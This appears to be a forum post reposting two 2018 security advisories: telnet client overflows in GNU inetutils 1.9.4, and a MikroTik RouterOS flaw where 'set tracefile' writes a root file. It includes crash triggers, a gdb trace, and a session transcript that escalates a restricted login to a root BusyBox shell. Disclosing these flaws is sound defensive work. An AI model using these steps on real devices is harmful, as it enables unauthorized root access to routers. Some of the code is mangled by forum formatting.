Stop using insecure protocols FTP,Telnet,SNMP

Good link to read here:

Telnet New Vulnerabilities:

:one:

GNU inetutils <= 1.9.4 telnet.c multiple overflows

GNU inetutils is vulnerable to a stack overflow vulnerability in the
client-side environment
variable handling which can be exploited to escape restricted shells on
embedded devices.
Most modern browsers no longer support telnet:// handlers, but in instances
where URI
handlers are enabled to the inetutils telnet client this issue maybe
remotely triggerable.
A stack-based overflow is present in the handling of environment variables
when connecting
telnet.c to remote telnet servers through oversized DISPLAY arguments.

A heap-overflow is also present which can be triggered in a different code
path due to
supplying oversized environment variables during client connection code.

The stack-based overflow can be seen in the following code snippet from the
latest inetutils
release dated 2015.

inetutils-telnet/inetutils-1.9.4/telnet/telnet.c

983- case TELOPT_XDISPLOC:
984- if (my_want_state_is_wont (TELOPT_XDISPLOC))
985- return;
986- if (SB_EOF ())
987- return;
988- if (SB_GET () == TELQUAL_SEND)
989- {
990- unsigned char temp[50], dp;
991- int len;
992-
993- if ((dp = env_getvalue (“DISPLAY”)) == NULL)
994- {
995- /

996- * Something happened, we no longer have a DISPLAY
997- * variable. So, turn off the option.
998- */
999- send_wont (TELOPT_XDISPLOC, 1);
1000- break;
1001- }
1002: sprintf ((char *) temp, “%c%c%c%c%s%c%c”, IAC, SB,
TELOPT_XDISPLOC,
1003- TELQUAL_IS, dp, IAC, SE);
1004- len = strlen ((char ) temp + 4) + 4; / temp[3] is 0 … */
1005-
1006- if (len < NETROOM ())

When a telnet server requests environment options the sprintf on line 1002
will
not perform bounds checking and causes an overflow of stack buffer temp[50]
defined
at line 990. This issue can be trivially fixed using a patch to add bounds
checking
to sprintf such as with a call to snprintf();

An example of the heap overflow can be seen when handling large environment
variables within the telnet client, causing heap buffer memory corruption
through long string supplied in example USER or DISPLAY.

An example of triggering this issue on inetutils in Arch Linux can be seen
below:

DISPLAY=perl -e 'print Ax"50000"' telnet -lperl -e 'print "A"x5000'
192.168.69.1
Trying 192.168.69.1…
Connected to 192.168.69.1.
Escape character is ‘^]’.
realloc(): invalid next size
Aborted (core dumped)

These issues are present anywhere that inetutils is used as a base for
clients
such as in common embedded home routers or networking equipment. An attacker
can potentially exploit these vulnerabilities to gain arbitrary code
execution
on platforms where telnet commands are available. An example debug trace of
the
heap overflow can be found below:

(gdb) run -lperl -e 'print "A"x5000' 192.168.69.1
Starting program: /usr/bin/telnet -lperl -e 'print "A"x5000' 192.168.69.1
Trying 192.168.69.1…
Connected to 192.168.69.1.
Escape character is ‘^]’.
realloc(): invalid next size

Program received signal SIGABRT, Aborted.
0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
(gdb) bt
#0 0x00007ffff7d87d7f in raise () from /usr/lib/libc.so.6
#1 0x00007ffff7d72672 in abort () from /usr/lib/libc.so.6
#2 0x00007ffff7dca878 in __libc_message () from /usr/lib/libc.so.6
#3 0x00007ffff7dd118a in malloc_printerr () from /usr/lib/libc.so.6
#4 0x00007ffff7dd52ac in _int_realloc () from /usr/lib/libc.so.6
#5 0x00007ffff7dd62df in realloc () from /usr/lib/libc.so.6
#6 0x000055555556029c in ?? ()
#7 0x0000555555560116 in ?? ()
#8 0x000055555556049f in ?? ()
#9 0x00005555555606b7 in ?? ()
#10 0x00005555555616de in ?? ()
#11 0x0000555555561b8d in ?? ()
#12 0x0000555555562122 in ?? ()
#13 0x000055555555c6f4 in ?? ()
#14 0x00005555555591e7 in ?? ()
#15 0x00007ffff7d74223 in __libc_start_main () from /usr/lib/libc.so.6
#16 0x00005555555592be in ?? ()

Due to the various devices embedding telnet from inetutils and distributions
such as Arch Linux using inetutils telnet, it is unclear the full impact
and all
scenarios where this issue could be leveraged. An attacker may seek to
exploit
these vulnerabilities to escape restricted shells.

– Hacker Fantastic (11/12/2018)

https://hacker.house

:two:

Mikrotik RouterOS telnet arbitrary root file creation 0day

This weakness occurs “post-authentication” and can be used to escape the restricted shell on Mikrotik devices and escalate “readonly” privileges. Mikrotik contains a hidden “devel” login option which can be enabled through use of an “options” package. An exploitable arbitrary file creation weakness has been identified in Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit all known versions of Mikrotik RouterOS. The RouterOS contains a telnet client based on GNU inetutils with modifications to remove shell subsystem. However an attacker can leverage the “set tracefile” option to write an arbitrary file into any “rw” area of the filesystem, escaping the restricted shell to gain access to a “ash” busybox shell on some versions. The file is created with root privilieges regardless of the RouterOS defined group. On versions 4.10 to 5.26 an attacker can enable the “devel” login to escape the restricted shell by creating the following file: “set tracefile /nova/etc/devel-login” On versions 6.0 to 6.40 the same can be achieved with the file: “set tracefile /flash/nova/etc/devel-login” This will allow access to a “ash” shell using the “devel” login which has the same password as the “admin” user. Advantages of using this method over known public methods is that it does not require reconfiguration of device via backup files or require a system reboot. On versions greater than 6.40 this issue can be exploited to overwrite files such as “user.db” from low-privileged user accounts to disrupt operation of the device. On versions above 6.40 this issue can only be leveraged to overwrite files as root due to changes in the “devel-login” now requiring creation of an “option” folder in a read only partition. An example of exploitation on impacted devices is shown below: [admin@MikroTik] > system telnet address: telnet> set tracefile /flash/nova/etc/devel-login tracefile set to “/flash/nova/etc/devel-login”. telnet> quit Welcome back! [admin@MikroTik] > system telnet 127.0.0.1 Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘^]’. MikroTik v6.40.9 (bugfix) Login: devel Password: BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash) Enter ‘help’ for a list of built-in commands. # Errata: an additional advisory accompanying this one references multiple buffer overflow vulnerabilities in inetutils telnet clients. The Mikrotik telnet client is also susciptible to these weaknessses. A trigger for the overflow condition is shown below. telnet> environ define DISPLAY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA telnet> open 127.0.0.1 Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘^]’. telnet: buffer overflow, losing data, sorry telnet: ring.cc: 143: int ringbuf::flush(): Assertion `top-bot > 0 && top-bot <= count’ failed. Welcome back! [admin@MikroTik] >
– Hacker Fantastic 11/12/2018 https://hacker.house